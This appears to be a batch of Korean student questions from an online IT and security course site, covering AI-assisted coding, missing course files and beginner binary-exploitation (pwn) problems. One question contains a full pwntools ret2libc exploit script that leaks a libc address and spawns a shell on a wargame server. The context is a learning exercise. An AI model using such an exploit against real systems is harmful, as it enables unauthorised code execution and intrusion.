안녕하세요. 현재 Codex 환경에서 바이브 코딩 중심으로 Next.js/React 프로젝트를 만들고 있어요 ㅠ직접 관리하는 영역인 ts/tsx 앱 코드가 약 480개 파일 4.3만 라인 정도이고 더 늘어날 예정입니다.generated 코드까지 포함하면 11만 라인 이상인 것 같아요.. ai 정신나간 놈이 사이버 보험 들어서 방어하라는 말을 듣고 충격먹어서 직접 공부도 조금씩 하고 있습니다. 저는 그냥 리액트는 단 하나도 모르고 HTML도 겉핥기식으로 매우 얕은 지식만 알고 있어서 상당한 고충이 따르는 중입니다. 처음에는 AI에게 기능 단위로 요청하면서 빠르게 만들 수 있었는데프로젝트가 커지고 CSS 단일이 8000줄이 넘어가고, 이걸 며칠 동안 분리하다 보니점점 문제가 커지더라구요 ㅋㅋㅋ  일단 가장 큰 문제점이AI가 만든 코드가 구조적으로 괜찮은지 판단하기 어렵다파일이 커지거나 책임이 섞이는 것을 어디서 끊어야 할지 어렵다lint/typecheck는 통과해도 production build에서 터지는 경우가 있다인증, 세션, DB, rate limit, 업로드, Origin 검증 같은 보안 영역이 특히 불안하다Codex/Claude Code 같은 도구에서 어느 규모부터 사람이 직접 구조를 잡아줘야 하는지 감이 없다 이런 규모의 프로젝트도 바이브 코딩 방식으로 계속 끌고 가는 게 현실적으로 가능할까요?가능하다면 어떤 개발 지식을 우선적으로 익혀야 하는지가 가장 궁금합니다 🥲 그리고 코덱스도CLI 가 가능해서 여쭤봅니다. 코덱스 pro를 사용중인데 계속 코덱스로 수업을 들어도 괜찮을까요?? 또 강의에서 보안 쪽 인증/세션/쿠키, DB 데이터 보호, API 보안, 업로드 보안, 배포 전 점검 같은 부분도AI 개발자가 최소한 어떤 기준으로 판단해야 하는지 다뤄주시는지도 궁금해요 ㅠㅠ

안녕하세요 정환님!디자인 테마 설정하기 강의에서 나온대로 SKILL.md 파일을 토대로 claude한테 스타일링을 시켰는데 정환님처럼 안되고 살짝 다르게 스타일링이 되더라구여 원래 같은 md 파일로 스타일링을 하더라도 조금씩 디자인이 달라지나요? 저는 이렇게 디자인이 됐습니다!

안녕하세요 강사님.강의에서 제공된 themes.zip 파일을 다운로드했는데 압축 해제가 되지 않습니다.

불필요한 강의 자료가 수업 내용에 포함되어 있고, 이게 진도율에 반영되는게 맞는걸까요?수업진도율과 자료가 별개로 처리되어야 할것 같습니다. 그리고 받을 수도 없는 자료들이 올라와 있는데 이 부분 해결이 필요할 것 같습니다.

파일 다운로드 링크 접속시 에러페이지 발생파일 구할수있는 다른 경로 알려주시면 감사하겠습니다.

안녕하세요. 2026년 ISMS-P 시험을 준비 중인데,10 1.2 위험관리 에 교안 첨부가 안보이네요. 업로드 요청합니다.감사합니다.  

If you're having troble accessing google search, please click here 뜨고 click here, or send feedback으로 뜨고 click here 눌러도 반응 없어요. 

네이버클라우드 타 AWS나 AZURE 랑 비교했을 때 장점을 자세히 알고 싶습니다.

from pwn import * context.log_level = 'debug' p = remote("war.knock-on.org", 45240) e = ELF("./rop64") libc = ELF("./libc.so.6") rdi = 0x0000000000401176 payload = b'a' * 0x28 payload += p64(rdi) payload += p64(e.got['read']) payload += p64(e.plt['puts']) payload += p64(e.symbols['main']) p.sendafter("name?\n", payload) read_got = u64(p.recvline().strip(b'\n')+b'\x00\x00') libc_base = read_got - libc.symbols['read'] print(f"read_got: {hex(read_got)}") print(f"libc_base: {hex(read_got)}") binsh = libc_base + 0x1d8678 system_got = libc_base + libc.symbols['system'] ret = 0x000000000040101a payload = b'a' * 0x28 payload += p64(rdi) payload += p64(binsh) payload += p64(ret) payload += p64(system_got) pause() p.sendafter("name?\n", payload) p.interactive()

여기서 flag를 ls 입력하면 나와야 되지 않나요..? 왜 안나오는지 모르겠어요

IT보안을 위한 와이어샤크 네트워크 패킷 분석 실전을 수강 중입니다. 강의자료에서 pcap_sample파일을 받았지만 섹션2강의들을 수강하면서 해당 실습파일을 찾지 못했습니다. 어디서 찾을 수 있을까요?

이렇게 코드를 짜고 쉘을 땃는데 ls하면 안 나와요 왜 그런가요?

스택이 정렬이 되지 않은걸 리턴 함수를 다시 콜하면 왜 해결되나요?

 마지막에 왜 python3 exp.py가 실행이 안돼는지 모르겠어요, ai말고 답변 달아주시면 감사하겠습니다!!

여기서 왜 안 될까요?그리고 자꾸 서버에 연결이 안돼요...

강의에서 a를 28개 입력하자 실패, 29개 입력하자 성공이 나왔는데 28개도 실패가 나와야 하지 않나요? 체크는 버프 저장 값 다음에 위치하고 체크에 값이 0이 아니면 성공이니 25개의 a를 넣으면 성공 아닌가요? 

왜 체크가 16바이트 중 4바이트라고 뒤에 저장 되나요? 

패딩은 빈 공간을 채우기 위해 사용한다고 gpt가 그러는데 맞을까요?그리고 이 경우 stack의 sfp와 ret은 뭔가요? 

gdb로 스택의 구조를 확인하는 부분에서 어디가 버퍼인지는 들어가는 값을 보고 알거 같은데 sfp, ret은 뭘 보고 해당 부분이 sfp나 ret인지 알 수 있는 지 모르겠습니다. 

리버스 베이직 2 문제 파일을 다운 받고 ida에서 디컴파일 했더니 소스코드가 베이직1이랑 같은 값이 나왔고 3파일도 같은 소스코드가 나왔어요.왜 그런가요...ㅠ